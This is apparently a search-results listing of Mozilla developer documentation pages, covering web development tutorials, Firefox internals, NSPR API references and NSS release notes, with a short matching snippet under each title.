a value not specified in css shorthand reverts to its initial value.
Learn to style HTML using CSS - Learn web development
you should definitely start with the first one.
How do you make sure your website works properly? - Learn web development
if you don't stop the runtime, ping will ping the server indefinitely.
How does the Internet work? - Learn web development
by connecting computers to routers, then routers to routers, we are able to scale infinitely.
What is the difference between webpage, website, web server, and search engine? - Learn web development
we'll cover these terms and technologies in more detail as we explore further, but these quick definitions will be a great start for you: web page a document which can be displayed in a web browser such as firefox, google chrome, opera, microsoft internet explorer or edge, or apple's safari.
What software do I need to build a website? - Learn web development
mobile devices cost money, of course, so we suggest taking a look at the open device lab initiative.
Basic native form controls - Learn web development
value the element's initial value.
Example 3 - Learn web development
th : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(select, selectlist) { if (select.classlist.contains('active')) return; selectlist.foreach(deactivateselect); select.clas...
Example 4 - Learn web development
th : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(select, selectlist) { if (select.classlist.contains('active')) return; selectlist.foreach(deactivateselect); select.clas...
Example 5 - Learn web development
th : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content // ------- // // helpers // // ------- // nodelist.prototype.foreach = function (callback) { array.prototype.foreach.call(this, callback); } // -------------------- // // function definitions // // -------------------- // function deactivateselect(select) { if (!select.classlist.contains('active')) return; var optlist = select.queryselector('.optlist'); optlist.classlist.add('hidden'); select.classlist.remove('active'); } function activeselect(select, selectlist) { if (select.classlist.contains('active')) return; selectlist.foreach(deactivateselect); select.clas...
How to structure a web form - Learn web development
don't test the example with 2 or 3 of the versions uncommented — screenreaders will definitely get confused if you have multiple labels and multiple inputs with the same id!
Sending forms through JavaScript - Learn web development
the "magic" is in the javascript: // because we want to access dom nodes, // we initialize our script at page load.
Test your skills: HTML5 controls - Learn web development
give it a minimum value of 1, maximum value of 30, and initial value of 10.
UI pseudo-classes - Learn web development
we style the indeterminate radio buttons with the following css: input[type="radio"]:indeterminate { border: 2px solid red; animation: 0.4s linear infinite alternate border-pulse; } @keyframes border-pulse { from { border: 2px solid red; } to { border: 6px solid red; } } this creates a fun little animated border on the radio buttons, which hopefully indicates that you need to select one of them!
JavaScript basics - Learn web development
we could call this initialization code, as it structures the app when it first loads.
HTML Cheatsheet - Learn web development
inline elements block elements an unordered list <ul> <li>i'm an item</li> <li>i'm another item</li> </ul> i'm an item i'm another item an ordered list <ol> <li>i'm the first item</li> <li>i'm the second item</li> </ol> i'm the first item i'm the second item a definition list <dl> <dt>a term</dt> <dd>definition of a term</dd> <dt>another term</dt> <dd>definition of another term</dd> </dl> a term definition of a term another term definition of another term a horizontal rule <hr> text heading <h1> this is heading 1 </h1> <h...
Use JavaScript within a webpage - Learn web development
let users initiate interactions.
Test your skills: Advanced HTML text - Learn web development
advanced html text 1 in this task we want you to turn the provided animals and their definitions into a description list.
What’s in the head? Metadata in HTML - Learn web development
ugh it may change over time): <meta name="description" content="the mdn web docs site provides information about open web technologies including html, css, and apis for both web sites and progressive web apps."> now search for "mdn web docs" in your favorite search engine (we used google.) you'll notice the description <meta> and <title> element content used in the search result — definitely worth having!
HTML table basics - Learn web development
LearnHTMLTablesBasics
the initial markup looks like this: <table> <tr> <th>animals</th> </tr> <tr> <th>hippopotamus</th> </tr> <tr> <th>horse</th> <td>mare</td> </tr> <tr> <td>stallion</td> </tr> <tr> <th>crocodile</th> </tr> <tr> <th>chicken</th> <td>hen</td> </tr> <tr> <td>rooster</td> </tr> </table> but the output doesn't give us quite what we want: ...
Structuring the web with HTML - Learn web development
you should definitely start with the first one.
Making asynchronous programming easier with async and await - Learn web development
inside the myfetch() function definition you can see that the code closely resembles the previous promise version, but there are some differences.
Choosing the right approach - Learn web development
further information cooperative asynchronous javascript: timeouts and intervals, in particular requestanimationframe() requestanimationframe() reference promises promises are a javascript feature that allows you to run asynchronous operations and wait until it is definitely complete before running another operation based on its result.
Introducing asynchronous JavaScript - Learn web development
let's look at a quick example, from our fetching data from the server article: fetch('products.json').then(function(response) { return response.json(); }).then(function(json) { products = json; initialize(); }).catch(function(err) { console.log('fetch problem: ' + err.message); }); note: you can find the finished version on github (see the source here, and also see it running live).
Asynchronous JavaScript - Learn web development
if you are not familiar with the concept of asynchronous programming, you should definitely start with the general asynchronous programming concepts article in this module.
Functions — reusable blocks of code - Learn web development
the example above would throw an error referenceerror: myvalue is not defined, because although the myvalue variable is defined in the same scope as the function calls, it is not defined inside the function definitions — the actual code that is run when the functions are called.
Function return values - Learn web development
below the two existing lines of javascript, add the following function definitions: function squared(num) { return num * num; } function cubed(num) { return num * num * num; } function factorial(num) { if (num < 0) return undefined; if (num == 0) return 1; let x = num - 1; while (x > 1) { num *= x; x--; } return num; } the squared() and cubed() functions are fairly obvious — they return the square or cube of the number that was given as a par...
Test your skills: Loops - Learn web development
we didn't provide live editable versions of these tasks because of the risk of creating infinite loops and crashing the assessment page!
Introduction to web APIs - Learn web development
as an example, the notifications api asks for permission using a pop-up dialogue box: the web audio and htmlmediaelement apis are subject to a security mechanism called autoplay policy — this basically means that you can't automatically play audio when a page loads — you've got to allow your users to initiate audio play through a control like a button.
Handling text — strings in JavaScript - Learn web development
creating a string to start with, enter the following lines: let string = 'the revolution will not be televised.'; string; just like we did with numbers, we are declaring a variable, initializing it with a string value, and then returning the value.
Test your skills: Math - Learn web development
if it isn't, you'll have to adjust some of the initial input values.
What is JavaScript? - Learn web development
a high-level definition javascript is a scripting or programming language that allows you to implement complex features on web pages — every time a web page does more than just sit there and display static information for you to look at — displaying timely content updates, interactive maps, animated 2d/3d graphics, scrolling video jukeboxes, etc.
JavaScript object basics - Learn web development
as with many things in javascript, creating an object often begins with defining and initializing a variable.
Multimedia: Images - Learn web development
loading strategy one of the biggest improvements to most websites is lazy-loading images beneath-the-fold, rather than downloading them all on initial page load regardless of whether a visitor scrolls to see them or not.
What is web performance? - Learn web development
the download of additional assets linked to from the index file is generally sequential, based on source order, but this can be manipulated and should definitely be optimized, realizing that some resources block additional downloads until their content is parsed and executed.
Web performance - Learn web development
the following is a suggested order for working through them; you should definitely start with the first one.
Website security - Learn web development
the more formal definition of website security is the act/practice of protecting websites from unauthorized access, use, modification, destruction, or disruption.
Routing in Ember - Learn web development
creating the "index" route did not add a route definition line to router.js, because like with url navigation and javascript module loading, "index" is a special word that indicates the default route to render, load, etc.
Introduction to client-side frameworks - Learn web development
ember ember was initially released in december 2011 as a continuation of work that started in the sproutcore project.
Creating our first Vue component - Learn web development
the value of a prop gives components an initial state that affects their display.
Adding a new todo form: Vue events, methods, and models - Learn web development
we can set the initial value of the label to an empty string.
Focus management with Vue refs - Learn web development
created() — runs after your component is initialized but before the component is added to the vdom.
Vue resources - Learn web development
there are also a handful of other changes, including a change in how apps are initialized in vue.
Styling Vue components with CSS - Learn web development
to keep the style definitions close to the component we can add a <style> element inside it.
Handling common accessibility problems - Learn web development
screenreaders it is definitely worth testing with a screenreader to get used to how severely visually impaired people use the web.
Introduction to automated testing - Learn web development
create a new directory somewhere sensible using your file manager ui, or, on a command line, by navigating to the location you want and running the following command: mkdir node-test to make this directory an npm project, you just need to go inside your test directory and initialize it, with the following: cd node-test npm init this second command will ask you many questions to find out the information required to set up the project; you can just select the defaults for now.
Strategies for carrying out testing - Learn web development
you should definitely include accessibility as a grade a testing requirement (we'll cover exactly what you should test in our handling common accessibility problems article) plus you might have other considerations.
Command line crash course - Learn web development
windows has traditionally had its own terminal-like program called cmd (“the command prompt”) for a long time, but this definitely doesn’t have parity with unix commands, and is equivalent to the old-style windows dos prompt.
Client-side tooling overview - Learn web development
there's definitely no silver bullet that will guarantee success with tools, but as your experience increases you'll find workflows that work for you or for your team and their projects.
Learn web development
note: our glossary provides terminology definitions.
Chrome Worker Modules
you should not modify exports or module.exports once your module initialization is complete.
Embedding API for Accessibility
here is the w3c's definition of accessibility for a user agent like mozilla.
Links and Resources
wai - web accessibility initiative web content accessibility guidelines (wcag) 1.0 the first set of official guidelines from the w3c web accessibility initiative (wai).
Accessible Toolkit Checklist
alt+f4 closes windows, similar to escape but even works on dialogs without cancel button alt+space opens window menu with restore, move, size, minimize, maximize, close the move and size options must be usable with the arrow keys on the keyboard in windows, initial focus goes to first focusable widget that is not a clickable tabbed property sheet label making tab order definable.
Theme concepts
however, noting that "frame": and "tab_background_text": only support rgb color array definition on chrome.
Adding a new event
create webidl of the event write a dom event definition with webidl.
A bird's-eye view of the Mozilla framework
thehelp viewer files referenced in the article are located in /seamonkey/extensions/help/ this article also assumes you are familiar with the javascript and c++ programming languages, object-oriented programming (oop) terminology and design concepts, the microsoft® component object model (com), and the corba omg interface definition language (idl).
Command line options
you can also control how mozilla applications open, which components open initially, and what the components do when they open.
Continuous Integration
when you push a commit to mozilla-central or a related repository, it initiates a large chain of builds and tests across multiple types of infrastructure.
Creating a Language Pack
to create a language pack, or a localization repack, you first need to go through the initial setup process.
Creating a Login Manager storage module
age) { dump("sampleloginmanager: " + message + "\n"); this._logservice.logstringmessage("sampleloginmanager: " + message); }, // logs function name and arguments for debugging stub: function(arguments) { var args = []; for (let i = 0; i < arguments.length; i++) args.push(arguments[i]) this.log("called " + arguments.callee.name + "(" + args.join(",") + ")"); }, init: function slms_init() { this.stub(arguments); }, initwithfile: function slms_initwithfile(ainputfile, aoutputfile) { this.stub(arguments); }, addlogin: function slms_addlogin(login) { this.stub(arguments); }, removelogin: function slms_removelogin(login) { this.stub(arguments); }, modifylogin: function slms_modifylogin(oldlogin, newlogin) { this.stub(arguments)...
Articles for new developers
contributing to the mozilla code base this page should guide you through the initial steps of contributing to mozilla.
Makefile - variables
l10nbasedir moz_chrome_multilocale a list of locale names to process moz_chrome_file_format both, file, jar, omni, symlink packager_no_libs hack to allow one makefile to include another without pulling in libs:: target definitions.
Makefiles - Best practices and suggestions
for classes of hardware (unix/windows) place your makefile in a subdirectory, unix/makefile.in always include dependencies when creating a target initial make call should always be the workhorse: build, generate, deploy, install, etc.
Old Thunderbird build
good internet connection for the initial source download.
Simple Instantbird build
good internet connection for the initial source download.
Simple SeaMonkey build
# note: this requires autoconf 2.13 (at least initially).
Simple Thunderbird build
good internet connection for the initial source download.
The Firefox codebase: CSS Guidelines
colors for common areas of the firefox interface (panels, toolbar buttons, etc.), mozilla-central often comes with some useful css variables that are adjusted with the correct values for different platform configurations, so using those css variables can definitively save some testing time, as you can assume they already work correctly.
Commenting IDL for better documentation
if possible, avoid putting comments in the middle of the definitions of apis.
Contributing to the Mozilla code base
this page should guide you through the initial steps of contributing to mozilla.
Displaying Places information using views
this value is initialized to -1 when each node is created.
Communicating with frame scripts
ole.log(message.name); console.log(message.sync); console.log(message.data); console.log(message.target); console.log(message.objects); } so combining this message listener with the message above will give console output somewhat like this, when the user clicks a <div>: "my-addon@me.org:my-e10s-extension-message" false object { details: "they clicked", tag: "div" } <xul:browser anonid="initialbrowser" ...
Message manager overview
in the initial version of multiprocess firefox there are two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions the content processes, also called the child processes, run all web content.
Tracking Protection
le.com', event);"> visit example.com </a> <script> function tracklink(url,event) { event.preventdefault(); ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } </script> instead, you should account for the case when google analytics is missing by checking to see if the ga object has initialized: <a href="http://www.example.com" onclick="tracklink('http://www.example.com', event);"> visit example.com </a> <script> function tracklink(url,event) { event.preventdefault(); if (window.ga && ga.loaded) { ga('send', 'event', 'outbound', 'click', url, { 'transport': 'beacon', 'hitcallback': function() { document.location = url; } }); } els...
mozbrowseractivitydone
note: for activities where the receiving app's activity definition in its manifest does not include returnvalue or returnvalue is false, no mozbrowseractivitydone event will be generated as of the landing of bug 1194525 in firefox os 2.5.
mozbrowserfirstpaint
the mozbrowserfirstpaint event is fired when the <iframe> paints content for the first time (this doesn't include the initial paint from about:blank).
mozbrowsershowmodalprompt
initialvalue a string representing the initial value for the window.prompt() methods.
Browser API
mozbrowserfindchange sent when a search operation is performed on the browser <iframe> content (see htmliframeelement search methods.) mozbrowserfirstpaint sent when the <iframe> paints content for the first time (this doesn't include the initial paint from about:blank.) mozbrowsericonchange sent when a new icon (e.g.
-moz-window-dragging
initial value drag applies to all elements that create native windows, e.g.
overflow-clip-box-block
/* keyword values */ overflow-clip-box-block: padding-box; overflow-clip-box-block: content-box; /* global values */ overflow-clip-box-block: inherited; overflow-clip-box-block: initial; overflow-clip-box-block: unset; note: on gecko, by default, padding-box is used everywhere, but <input type="text"> and similar use the value content-box.
overflow-clip-box-inline
/* keyword values */ overflow-clip-box-inline: padding-box; overflow-clip-box-inline: content-box; /* global values */ overflow-clip-box-inline: inherited; overflow-clip-box-inline: initial; overflow-clip-box-inline: unset; note: on gecko, by default, padding-box is used everywhere, but <input type="text"> and similar use the value content-box.
Embedding Tips
specify a profile directory in your implementation of nsidirectoryserviceprovider passed to xre_initembedding.
HTTP Cache
lifetime of a new entry such entry is initially empty (no data or meta data is stored in it).
How to get a stacktrace for a bug report
crash reports files on your computer when breakpad initially catches a crash it first writes crash report files (e.g.
How to implement a custom autocomplete search component
ocation(class_id, alocation); }, getclassobject: function(acompmgr, acid, aiid) { if (!aiid.equals(components.interfaces.nsifactory)) throw components.results.ns_error_not_implemented; if (acid.equals(class_id)) return simpleautocompletesearchfactory; throw components.results.ns_error_no_interface; }, canunload: function(acompmgr) { return true; } }; // module initialization function nsgetmodule(acompmgr, afilespec) { return simpleautocompletesearchmodule; } starting in gecko 2.0, component registration has been changed, so you need to make the following changes: add an nsgetfactory() function: function nsgetfactory(cid) { if (cid.tostring().touppercase() != class_id.tostring().touppercase()) { throw components.results.ns_error_f...
How to Report a Hung Firefox
this may be because of a code error within firefox itself, such as a deadlock or infinite loop, or it may be caused by 3rd-party software such as a firefox extension, antivirus software, or even malware or a virus on your computer.
IME handling guide
next, imestatemanager initializes inputcontext (defined in imedata.h) with the desired ime state and node information.
Add-on Manager
the callbacks may be called immediately while the initial function is still executing or shortly after, depending on when the requested data becomes available.
Downloads.jsm
promise<download> createdownload( object aproperties ); parameters aproperties provides the initial properties for the newly created download.
Interfacing with the Add-on Repository
when the user clicks a toolbar button to initiate the query, the following code gets run to start the request: addonrepository.retrieverecommendedaddons(10, this); this asks the repository to fetch up to 10 add-ons, using the object this as the target for callbacks.
NetUtil.jsm
createinstance(ci.nsifileoutputstream); ostream.init(file, -1, -1, 0); // finally, we need an input stream to take data from.
OS.File.Info
note that the definition of last access may depend on the underlying operating system and file system.
PerfMeasurement.jsm
note: these values are all zeroed (or set to -1, for events not being measured) when you initialize the perfmeasurement object, then they are not zeroed again unless you explicitly call the reset() method.
Deferred
method overview void resolve([optional] avalue); void reject([optional] areason); properties attribute type description promise read only promise a newly created promise, initially in the pending state.
Using JavaScript code modules
scope where it's already been imported components.utils.import("resource://gre/modules/services.jsm"); var resprot = services.io.getprotocolhandler("resource") .queryinterface(components.interfaces.nsiresprotocolhandler); var aliasfile = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); aliasfile.initwithpath("/some/absolute/path"); var aliasuri = services.io.newfileuri(aliasfile); resprot.setsubstitution("myalias", aliasuri); // assuming the code modules are in the alias folder itself notes custom modules and xpcom components note that prior to gecko 2.0 javascript xpcom components are loaded before chrome registration.
WebRequest.jsm
examples basic examples this example just logs the url for every request initiated: let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); webrequest.onbeforerequest.addlistener(logurl); function logurl(e) { console.log("loading: " + e.url); } filtering this example logs urls for requests under "https://developer.mozilla.org/": let {webrequest} = cu.import("resource://gre/modules/webrequest.jsm", {}); cu.import("resource://gre/modules/matchpatte...
Webapps.jsm
importing components.utils.import("resource://gre/modules/webapps.jsm"); // exported symbol is domapplicationregistry method overview init: function() loadcurrentregistry: function() notifyappsregistrystart: function notifyappsregistrystart() notifyappsregistryready: function notifyappsregistryready() sanitizeredirects: function sanitizeredirects(asource) _savewidgetsfullpath: function(amanifest, adestapp) appkind: function(aapp, amanifest) updatepermissionsforapp: function(aid, aispreinstalled) updateofflinecacheforapp: function(aid) installpreinstalledapp: function installpreinstalledapp(aid) removeifhttpsduplicate: function(aid) installsystemapps: functi...
Localizing with Koala
to do this, open the console and type: c:\users\stas> cd c:\mozilla\l10n\locale\x-testing\3.6 c:\mozilla\l10n\locale\x-testing\3.6> hg init you should now see the the koala's starpage in komodo.
Localizing with Mercurial
inside your l10n directory, init your repo with mq by running hg init --mq.
Localizing with Mozilla Translator
let's assume you have a firefox product in mt with the directory layout present in language packs, as you probably would need for a initial localization.
Localizing without a specialized tool
depending on your case, you can do it in one of the following ways: if no localization exists yet, create an empty folder and create a mercurial repository in it: $ mkdir x-testing $ cd x-testing $ hg init if there is a bitbucket repository with localization files, you can pull from it.
Translation phase
congratulations on completing the initial setup!
SVN for Localizers
enter the following command from the command-line: svn update your local svn repository (i.e., working directory) will be updated with the newest files from the url you initially cloned your repository from.
Basics
rather, the math fragment will zoom, and if you right-click a second time, you will see the mathml wysiwyg markup of the fragment, and if you right-click again a third time, the fragment will revert to its initial state.
Updates
may 23, 1999 reader opinion: mathml's viability - talkback may 14, 1999 mozilla mathml project underway may 1999 mozilla mathml project initiation ...
Various MathML Tests
click the expression below to see several definitions of pi: π = 3.14159265358...
mozilla::CondVar
#include "condvar.h" methods constructor condvar(mutex& amutex, const char* aname) initialize the condvar with its associated mutex and a name to reference it by.
mozilla::MonitorAutoEnter
to use mozilla::monitorautoenter, declare and initialize it with a reference to a mozilla::monitor.
mozilla::Mutex
#include <mozilla/mutex.h> methods constructor mutex(const char* aname) initialize the mutex with a name that can reference it.
Build Metrics
static constructors are undesirable because their initialization imposes an unavoidable time penalty every time firefox is started.
BloatView
the percentage 99999.99% will show up indicating an "infinite" amount of leakage.
JS::PerfMeasurement
it initializes the javascript wrapper interface for this api and pokes the constructor function into the global object you provide.
Power profiling overview
by dividing an energy amount by a non-infinitesimal time period.
Scroll-linked effects
the definition of a scroll-linked effect is an effect implemented on a webpage where something changes based on the scroll position, for example updating a positioning property with the aim of producing a parallax scrolling effect.
TimerFirings logging
(running on mac or linux is obviously necessary to learn the timer function's name.) this is done by initializing it with initwithnamedfunccallback or initwithnameablefunccallback instead of initwithnamecallback.
Productization guide
for example, we ship firefox with 6 or 7 search engine plug-ins to make users’ lives easier when they’re looking for information, translation, products, multimedia, spelling and definitions, etc.
Firefox Sync
your data can only be decrypted by someone who is able to log in to your firefox account (ie, that knows your firefox accounts password and has access to your email for the verification required during the initial login).
L20n HTML Bindings
when all dom nodes are localized, the document element will fire a documentlocalized event, which you can listen to: document.addeventlistener('documentlocalized', function() { // the dom has been localized and the user sees it in their language yourapp.init(); }); exposing context data you can expose important bits of data to the localization context in form of context data.
About NSPR
since these timers have finite namespace and are free running, they can wrap at any time.
Date and Time
you can define your own time parameter callback functions, which must conform to the definition prtimeparamfn.
Interval Timing
the counters have no fixed epoch and have a finite period.
Long Long (64-bit) Integers
limits and initialization relational operators logical operators arithmetic operators shift operators conversion operators ...
NSPR Error Handling
pr_already_initiated_error the (retried) operation has already been initiated (probably a nonblocking connect).
PRCallOnceFN
syntax #include <prinit.h> typedef prstatus (pr_callback *prcalloncefn)(void); description the function is called to perform the initialization desired.
PRFilePrivate
each layer has its own definition of prfileprivate, which is hidden from other layers as well as from the users of the layer.
PRIOMethods
for type definition details, see prio.h.
PRInt16
syntax #include <prtypes.h> typedefdefinition print16; ...
PRInt32
syntax #include <prtypes.h> typedefdefinition print32; description may be defined as an int or a long, depending on the platform.
PRInt64
syntax #include <prtypes.h> typedef definition print64; description may be defined in several different ways, depending on the platform.
PRInt8
syntax #include <prtypes.h> typedef definition print8; ...
PRStaticLinkTable
if, during initialization, such entries are manually created, then future attempts to link to the symbols can be treated in a consistent fashion.
PRTime
although utc and gmt are not exactly the same in their precise definitions, they can generally be treated as if they were.
PRUint16
syntax #include <prtypes.h> typedefdefinition pruint16; ...
PRUint32
syntax #include <prtypes.h> typedefdefinition pruint32; description may be defined as an unsigned int or an unsigned long, depending on the platform.
PRUint64
syntax #include <prtypes.h> typedef definition pruint64; description may be defined in several different ways, depending on the platform.
PRUint8
syntax #include <prtypes.h> typedefdefinition pruint8; ...
PR_Abort
syntax #include <prinit.h> void pr_abort(void); description pr_abort results in a core file and a call to the debugger or equivalent, in addition to causing the entire process to stop.
PR_AcceptRead
pr_acceptread blocks indefinitely until the connection is accepted; the read will time out after the timeout interval elapses.
PR_AttachThread
pr_init calls pr_attachthread automatically for the primordial thread.
PR_BlockClockInterrupts
syntax #include <prinit.h> void pr_blockclockinterrupts(void); ...
PR_CALLBACK
the pr_callback attribute is included as part of the function's definition between its return value type and the function's name.
PR_Cleanup
syntax #include <prinit.h> prstatus pr_cleanup(void); returns the function returns one of the following values: if nspr has been shut down successfully, pr_success.
PR_Connect
initiates a connection on a specified socket.
PR_ConnectContinue
after a nonblocking connect is initiated with pr_connect() (which fails with pr_in_progress_error), one should call pr_poll() on the socket, with the in_flags pr_poll_write | pr_poll_except.
PR_CreateThread
priority the initial priority of the newly created thread.
PR_CreateThreadPool
syntax #include <prtpool.h> nspr_api(prthreadpool *) pr_createthreadpool( print32 initial_threads, print32 max_threads, pruint32 stacksize ); parameters the function has the following parameters: initial_threads the number of threads to be created within this thread pool.
PR_DisableClockInterrupts
syntax #include <prinit.h> void pr_disableclockinterrupts(void); ...
PR_Interrupt
unfortunately the standard input, output, and error streams are treated as files by nspr, so a pr_read call on pr_stdin cannot be interrupted even though it may block indefinitely.
PR_NAME
syntax #include <prinit.h> #define pr_name "nspr" description nspr name.
PR_NEWZAP
the bytes in the buffer are all initialized to 0.
PR_NewLogModule
description this function allocates and initializes a new prlogmoduleinfo structure with the specified name.
PR NewProcessAttr
the new prprocessattr structure is initialized with these default attributes: the standard i/o streams (standard input, standard output, and standard error) are not redirected.
PR_ProcessExit
syntax #include <prinit.h> void pr_processexit(printn status); parameter pr_processexit has one parameter: status the exit status code of the process.
PR_SetConcurrency
syntax #include <prinit.h> void pr_setconcurrency(pruintn numcpus); parameter pr_setconcurrency has one parameter: numcpus the number of extra virtual processor threads to be created.
PR_SetLogBuffering
ordinarily, a user application need not use this function, as nspr initializes logging at nspr startup.
PR_SetLogFile
ordinarily, a user application need not use this function, as nspr initializes logging at nspr startup.
PR_TicksPerSecond
this value is platform-dependent and does not change after nspr is initialized.
PR_UnblockClockInterrupts
syntax #include <prinit.h> void pr_unblockclockinterrupts(void); ...
PR_VERSION
syntax #include <prinit.h> #define pr_version "2.1 yyyymmdd" description the format of the version string ismajorversion.minorversion builddate.
PR_VersionCheck
syntax #include <prinit.h> prbool pr_versioncheck(const char *importedversion); parameter pr_versioncheck has one parameter: importedversion the version of the shared library being imported.
PR_Writev
this is the type definition for priovec: typedef struct priovec { char *iov_base; int iov_len; } priovec; the priovec structure has the following fields: iov_base a pointer to the beginning of the buffer.
PR_dtoa
if the input parameter d is+infinity,-infinity ornan, *decpt is set to 9999.
PR_strtod
if the answer would overflow, a properly signed huge_val (infinity) is returned.
Threads
joining a thread provides definitive proof that the target thread has terminated and has finished with both the resources to which the thread has access and the resources of the thread itself.
Running NSPR tests
configure gmake cd pr/tests gmake ../../../mozilla/nsprpub/pr/tests/runtests.sh the output of the test suite looks like this: nspr test results - tests begin mon mar 12 11:44:41 pdt 2007 nspr_test_logfile /dev/null test result accept passed acceptread passed acceptreademu passed affinity passed alarm passed anonfm passed atomic passed attach passed bigfile passed cleanup passed cltsrv passed concur passed cvar passed cvar2 passed ...
Certificate functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
Deprecated SSL functions
the mozilla cross reference (mxr) link for each function provides access to the function definition, prototype definition, and source code references.
NSS Memory allocation
to accomplish that, set an environment variable prior to the initialization of nss and nspr.
NSS_3.12.1_release_notes.html
er warnings in nss/lib bug 434398: libpkix cannot find issuer cert immediately after checking it with ocsp bug 434808: certutil -b deadlock when importing two or more roots bug 434860: coverity 1150 - dead code in ocsp_createcertid bug 436428: remove unneeded assert from sec_pkcs7encryptlength bug 436430: make nss public headers compilable with no_nspr_10_support defined bug 436577: uninitialized variable in sec_pkcs5createalgorithmid bug 438685: libpkix doesn't try all the issuers in a bridge with multiple certs bug 438876: signtool is still using static libraries.
NSS_3.12.2_release_notes.html
osing includecertchain as a parameter to sec_pkcs12addcertandkey bug 390527: get rid of pkixerrormsg variable in pkix_error bug 391560: libpkix does not consistently return pkix_validatenode tree that truly represent failure reasons bug 408260: certutil usage doesn't give enough information about trust arguments bug 412311: replace pr_interval_no_wait with pr_interval_no_timeout in client initialization calls bug 423839: add multiple pkcs#11 token password command line option to nss tools.
NSS 3.14.1 release notes
this regression only affected applications that initialize nss via the nss_nodb_init function.
NSS 3.14.2 release notes
initial manual pages for some nss command line tools have been added.
NSS 3.14.3 release notes
in addition, thanks to adam langley (google) for the development of a mitigation for the issues raised in the paper, along with emilia kasper and bodo möller (google) for assisting in the review and improvements to the initial patches.
NSS 3.14.4 release notes
bug 894370 - (cve-2013-1739) avoid uninitialized data read in the event of a decryption failure.
NSS 3.15.1 release notes
bug 882829 - on windows, nss initialization fails if nss cannot call the rtlgenrandom function.
NSS 3.15.2 release notes
bug 894370 - (cve-2013-1739) avoid uninitialized data read in the event of a decryption failure.
NSS 3.18 release notes
new types in p12.h sec_pkcs12nicknamerenamecallback - a function pointer definition.
NSS 3.19.1 release notes
nss 3.19.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_19_1_rtm/src/ security fixes in nss 3.19.1 bug 1138554 / cve-2015-4000 - the minimum strength of keys that libssl will accept for finite field algorithms (rsa, diffie-hellman, and dsa) have been increased to 1023 bits.
NSS 3.20 release notes
nss embeds fixed dhe parameters sized 2048, 3072, 4096, 6144 and 8192 bits, which were copied from version 08 of the internet-draft "negotiated finite field diffie-hellman ephemeral parameters for tls", appendix a.
NSS 3.28.3 release notes
if an application passed type seckeyecpublickey to nss (as part of seckeypublickey), the nss library read the uninitialized attribute.
NSS 3.28.5 release notes
it backports the changes that were initially released in nss version 3.30.2.
NSS 3.28 release notes
nss now uses the signature schemes definition in tls 1.3 (bug 1309446).
NSS 3.29.1 release notes
if an application passed type seckeyecpublickey to nss (as part of seckeypublickey), the nss library read the uninitialized attribute.
NSS 3.29.3 release notes
notable changes in nss 3.29.3 a rare crash when initializing an ssl socket fails has been fixed.
NSS 3.33 release notes
new in nss 3.33 new functionality when listing an nss database, using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing.
NSS 3.34 release notes
using certutil -l, and the database hasn't yet been initialized with any non-empty or empty password, the text "database needs user init" will be included in the listing.
NSS 3.44 release notes
notable changes in nss 3.44 it is now possible to build nss as a static library (bug 1543545) initial support for building for ios.
NSS 3.45 release notes
the experimental function ssl_initantireplay is removed.
NSS 3.47.1 release notes
bugs fixed in nss 3.47.1 cve-2019-11745 - encryptupdate should use maxout, not block size bug 1590495 - fix a crash that could be caused by client certificates during startup bug 1589810 - fix compile-time warnings from uninitialized variables in a perl script this bugzilla query returns all the bugs fixed in nss 3.47: https://bugzilla.mozilla.org/buglist.cgi?resolution=fixed&classification=components&query_format=advanced&product=nss&target_milestone=3.47 compatibility nss 3.47.1 shared libraries are backward compatible with all older nss 3.x shared libraries.
NSS 3.47 release notes
resented in clienthello bug 1570501 - add cmac to freebl and pkcs #11 libraries bugs fixed in nss 3.47 bug 1459141 - make softoken cbc padding removal constant time bug 1589120 - more cbc padding tests bug 1465613 - add ability to distrust certificates issued after a certain date for a specified root cert bug 1588557 - bad debug statement in tls13con.c bug 1579060 - mozilla::pkix tag definitions for issueruniqueid and subjectuniqueid shouldn't have the constructed bit set bug 1583068 - nss 3.47 should pick up fix from bug 1575821 (nspr 4.23) bug 1152625 - support aes hw acceleration on armv8 bug 1549225 - disable dsa signature schemes for tls 1.3 bug 1586947 - pk11_importandreturnprivatekey does not store nickname for ec keys bug 1586456 - unnecessary conditional in pki3hack, pk...
NSS 3.48 release notes
constant time bug 1562671 - increase nss mp kdf default iteration count, by default for modern key4 storage, optionally for legacy key3.db storage bug 1590972 - use -std=c99 rather than -std=gnu99 bug 1590676 - fix build if arm doesn't support neon bug 1575411 - enable tls extended master secret by default bug 1590970 - ssl_settimefunc has incomplete coverage bug 1590678 - remove -wmaybe-uninitialized warning in tls13esni.c bug 1588244 - nss changes for delegated credential key strength checks bug 1459141 - add more cbc padding tests that missed nss 3.47 bug 1590339 - fix a memory leak in btoa.c bug 1589810 - fix uninitialized variable warnings from certdata.perl bug 1573118 - enable tls 1.3 by default in nss this bugzilla query returns all the bugs fixed in nss 3.48: https://bu...
NSS 3.49 release notes
